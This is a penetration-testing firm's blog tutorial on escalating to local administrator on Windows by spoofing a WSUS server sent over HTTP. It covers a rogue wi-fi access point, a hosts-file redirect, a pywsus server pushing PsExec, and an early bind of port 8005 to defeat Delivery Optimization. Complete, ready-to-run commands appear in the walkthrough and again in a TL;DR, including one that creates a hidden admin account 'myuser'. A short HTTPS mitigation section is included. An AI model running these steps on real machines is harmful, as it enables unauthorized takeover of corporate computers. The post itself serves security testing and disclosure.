By Paul Arzelier

Local privilege escalation – ft. WSUS misconfigurations, a rogue access point, and delivery optimization

Windows Server Update Service (WSUS) misconfigurations have since 2020 been used for local privilege escalation. Most of the methods to do so rely on ARP spoofing inside of a corporate network which, though it can abuse several computers at once, can be tedious to set up, prone to errors, potentially causing network disruption upon errors.

Instead of using ARP spoofing, our preferred method at ReTest is to use a rogue wi-fi access point to perform the WSUS spoofing when we have physical access to the machines we want to escalate privileges on. As a bonus, we will also show how this can continue to work when updates are downloaded through delivery optimization. Delivery optimization often lives at localhost:8005, which cannot be spoofed, but we will show that it is possible to use an early bind to set up our own update web server, bypassing delivery optimization altogether.

The attack is divided in 5 steps:

  • Setting up and creating a wi-fi access point on our attacker’s
  • Setting up and starting a malicious wsus server on our attacker’s machine using pywsus
  • Starting the webserver on localhost:8005 on the victim’s machine
  • Connecting the victim’s machine to the access point
  • Running “Check for updates” on the victim’s machine

You can read more about each step below under “Attack in practice”.

A brief introduction to WSUS

Before we get hacking, a quick description of WSUS is in order.
Windows Server Update Service, or WSUS, is the product used by organizations to manage their updates. Instead of manually selecting and installing updates on every computer of the organization, WSUS is used to centralize update management, and to distribute these updates. An organization can create different computer groups and roll individual updates to individual groups, such as computer brand-specific updates.

Using HTTP for WSUS can introduce problems

Each computer enrolled will contact a WSUS server for updates. This is configured through a Group Policy Object (GPO) for each client, which will then have an update server and an update location set. Sample settings could look like this:

The “Intranet update service for detecting updates” is the server that will be used to check for update, and the “alternate download server” is the server used to download the actual updates. Despite its name, it is not an alternate / fallback server. It is the main download server that will be used to download the update files.

As we will see below, the settings shown above are NOT secure, because they use an unauthenticated communication protocol (HTTP instead of HTTPS). This means that any computer can impersonate the WSUS server, and the client will happily take updates from them. Time to see how to attack that!

The general attack case

Regardless of the way the WSUS server is spoofed, the general attack principle is the same. Here, our premise is that the attacker has physical access to the victim’s machine and valid domain credentials:

The attacker places their machine between the victim’s and the real WSUS server. Using for instance ARP spoofing or DNS spoofing, they make the victim’s machine believe that their machine is the real WSUS server. On the attacker’s machine, a rogue WSUS server is running, intercepting and replying to any check for updates.

When the victim checks for updates, the request goes directly to the attacker, who replies with a malicious update. The malicious update must be a binary signed by Microsoft. PsExec, which allows to execute arbitrary commands on the system, can be used since it is signed by Microsoft. Since the update is running with SYSTEM privileges, it allows the attacker to, for instance, create a local administrator on the victim’s machine.
At this point, the attacker managed to escalate their privileges, and the real WSUS server is never contacted.

Solving the Delivery Optimization problem

While the general attack works when the update download server (“alternate download server” in Microsoft lingo) is something that can be spoofed, it fails when it is set to use Delivery Optimization. Delivery Optimization is an update component that uses a web server listening on localhost, usually on port 8005, that forwards the download calls to parts of the delivery optimization network. Since localhost can’t be spoofed, it is no longer possible to place ourselves between the victim’s machine and the legitimate server.
However! It is possible to replace the web server listening on port 8005 by our own web server, which will forward requests to the malicious WSUS server.

One way to do that is to kill the server listening on port 8005. However, doing so requires administrative privileges, which is precisely what we are trying to acquire.

Instead, it is worth to mention that while the delivery optimization service “DoSvc” is usually set to start automatically, its startup mode is set with a delay, in order to not slow down more important programs upon boot. This means that it is possible to bind to port 8005 early on computer startup.
One way to do so is to restart the computer and, as fast as possible, log in, open a Powershell prompt, and run ([System.Net.Sockets.TcpListener]8005).Start().

This will reserve port 8005, and the delivery optimization service will subsequently fail to start.

After waiting a bit to make sure that DoSvc silently failed to start and will not try again, we can start our own web server that will forward everything to our malicious WSUS server.
To do so, we simply close the powershell window opened previously, and start a minimal server on port 8005 – for instance, using this server.py python script, remembering to update the ATTACKER_IP variable (any powershell script could also do the same).

Once this is done, any attempt to download updates on the victim’s computer will end up downloading on the malicious WSUS server.

Attack in practice

Access point (Attacker’s machine)

For this step, we will be using  the create_ap script to create a wi-fi access point on the attacker’s machine.
First, we need to get the information about the WSUS update server on the victim’s machine, using e.g. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, taking note of the WUServer key. Here, we will use wsus.domain.local.
Then, edit /etc/hosts on the attacker’s machine, adding an entry that will point to the access point’s IP for that domain – create_ap usually uses 192.168.12.1. In our example:

192.168.12.1 wsus.domain.local

Finally, start the access point by doing sudo create_ap -d wlp0s20f3 enp0s31f6 TestPoint testpoint --freq-band 2.4

Where “wlp0s20f3” is the wlan interface, “enp0s31f6” any other interface (the wlan interface would also work), “Testpoint” the access point name you want to create, “testpoint” the access point’s password (the WPA key).

You should now see an access point “Testpoint” from the victim’s machine, and any other device that can run wi-fi scans.

Rogue WSUS server (Attacker’s machine)

Once pywsus is downloaded, we need to download and extract PsExec. The rogue WSUS server can then be started with the command:

python pywsus.py --host 192.168.12.1 --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user myuser P4ssW0rd! /add && net localgroup administrators myuser /add"'

Be aware that the “administrators” group name can change depending on the localization – it can for instance be “Administratorer” in Denmark. Make sure that the password also respects the password policy of the victim’s machine, otherwise it will silently fail.

Everything should now be in place on the attacker’s machine!

Victim’s machine

The webserver needs to be started on the victim’s machine, listening to port 8005 (see “Solving the Delivery Optimization problem”).
Once this is done, connect the victim’s machine to the wi-fi access point “Testpoint”. For good measure, you can ping wsus.domain.local to make sure it returns the attacker’s IP.

Finally, open the “Check for Updates” menu in “System Settings”, and click on the “Check for updates” button. It should download and install your malicious update – you can check the progress on the pywsus server on the attacker’s machine, where you will see the traffic to and from the victim’s machine.

Once the update is installed, net user should display a new local administrator user, myuser.

Troubleshooting – It doesn’t always work the first time

WSUS exploitation is subject to the whims of Windows Updates, which makes it a bit flaky. In our experience, it doesn’t always work the first time, but it always ends up working (sometimes, after 30 minutes of intense rebooting).
Here are the common troubleshooting steps, when Windows Update gives back an error while updating:

  • Restarting the computer (a classic)
  • Connecting the victim’s computer to the corporate network, running “Check for Updates” using the legitimate WSUS server until no new updates are found
  • Make sure that the password you use for the newly created user respects the domain’s password policy
  • Fiddle with PSExec’s flag, most notably, the -h (run the process using an elevated token) and -s (run the process as SYSTEM) flags.
  • Run Get-WindowsUpdateLog, which outputs the WSUS logs on the current user’s desktop. Very handy to have a summary of what happened.

Sometimes, the malicious update is also found, but the downloading step stays stuck at 0%. It usually is because the “alternate download server” cannot be reached, meaning either the custom webserver at localhost:8005 has not been started properly (see “Solving the Delivery Optimization problem”), or the alternate download server has not been spoofed correctly.

Mitigation

The only proper way to mitigate this vulnerability, and prevent a user to escalate their rights to local administrator is to configure the WSUS server and clients to communicate through a secure HTTPS channel. The “Mitigation” part of this article at GoSecure gives good pointers on how to execute it properly. This Microsoft guide is also useful for hands-on details on how to implement HTTPS for updates.

TL;DR

If you would rather have a quick guide on how to execute this method rather than a long explanation, this section is for you.
Preparation on the attacker’s computer:

  • Put the proper entry in /etc/hosts: for instance 192.168.12.1 wsus.domain.local
  • Start the access point with e.g. sudo create_ap -d wlp0s20f3 enp0s31f6 TestPoint testpoint --freq-band 2.4
  • Start the rogue WSUS server with e.g. python pywsus.py --host 192.168.12.1 --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user myuser P4ssW0rd! /add && net localgroup administrators myuser /add"'

Preparation on the victim’s computer:

  • If the alternate download server is set to localhost:8005, restart the computer and run ([System.Net.Sockets.TcpListener]8005).Start() as fast as possible until the port is reserved, then close the listener, and run server.py.
  • Connect the computer to “Testpoint”
  • ping wsus.domain.local to make sure it gives you back the attacker’s computer’s IP.

Finally, running “Check for Updates” on the victim’s computer should do the trick. If not, take a look at the “Troubleshooting” section.

Conclusion

In this article, we showed how it is possible to use a rogue access point to exploit WSUS misconfigurations and escalate privileges to local administrator. We also showed that despite the fact that localhost cannot be spoofed, it is still possible to execute this method when the download server is set to use delivery optimization on localhost:8005.

Vil du ringes op?

Benyt kontaktformularen, og vi vil ringe dig op inden for 48 timer.

8 + 7 =